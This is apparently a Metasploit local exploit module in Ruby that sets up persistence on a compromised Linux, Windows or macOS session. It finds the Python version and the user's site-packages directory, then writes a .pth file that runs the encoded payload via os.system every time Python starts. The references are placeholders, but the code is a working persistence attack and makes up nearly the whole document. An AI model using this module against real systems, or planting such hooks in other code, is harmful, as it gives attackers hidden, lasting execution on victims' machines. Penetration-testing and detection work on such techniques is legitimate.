## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html # includes: is_root? include Msf::Post::Linux::Priv # includes writable?, upload_file, upload_and_chmodx, exploit_data include Msf::Post::File # includes generate_payload_exe include Msf::Exploit::EXE # includes register_files_for_cleanup include Msf::Exploit::FileDropper # defines install_persistence and does our cleanup # WritableDir include Msf::Exploit::Local::Persistence # runs check automatically prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Python Site-Specific Hook Persistence', 'Description' => %q{ This exploit sample shows how a persistence module could be written for a linux computer. }, 'License' => MSF_LICENSE, 'Author' => [ 'msutovsky-r7', # msf module ], 'Platform' => ['linux', 'windows', 'osx'], 'Arch' => [ ARCH_CMD ], 'SessionTypes' => [ 'meterpreter', 'shell' ], # @clean_up_rc only works in meterpreter sessions 'Targets' => [[ 'Auto', {} ]], 'References' => [ [ 'OSVDB', '12345' ], [ 'EDB', '12345' ], [ 'URL', 'http://www.example.com'], [ 'CVE', '1978-1234'], ['ATT&CK', Mitre::Attack::Technique::T1547_013_XDG_AUTOSTART_ENTRIES], # https://github.com/rapid7/metasploit-framework/pull/20289 ], 'DisclosureDate' => '2023-11-29', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [], 'SideEffects' => [] } ) ) register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def get_hooks_path case session.platform when 'windows', 'win' @hooks_path = "C:\\Program Files\\Python#{@python_version.sub('.', '')}\\lib\\site-packages\\" when 'osx', 'linux' @hooks_path = expand_path("$HOME/.local/lib/python#{@python_version}/site-packages/") end end def get_python_version case session.platform when 'windows', 'win' cmd_exec('python3.exe --version 2> nul || python2.exe --version 2> nul|| python.exe --version 2> nul') when 'osx', 'linux' cmd_exec('python3 --version 2>/dev/null || python2 --version 2> /dev/null || python --version 2>/dev/null') =~ /(\d+.\d+).\d+/ end @python_version = Regexp.last_match(1) end def check get_python_version return CheckCode::Safe('Python not present on the system') unless @python_version CheckCode::Vulnerable('Python is present on the system') end def install_persistence get_python_version unless @python_version get_hooks_path unless @hooks_path file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10) cmd_exec("mkdir -p #{@hooks_path}") fail_with(Failure::PayloadFailed, 'Failed to create malicious hook') unless write_file("#{@hooks_path}#{file_name}.pth", %(import os;os.system("#{payload.encoded}") )) end end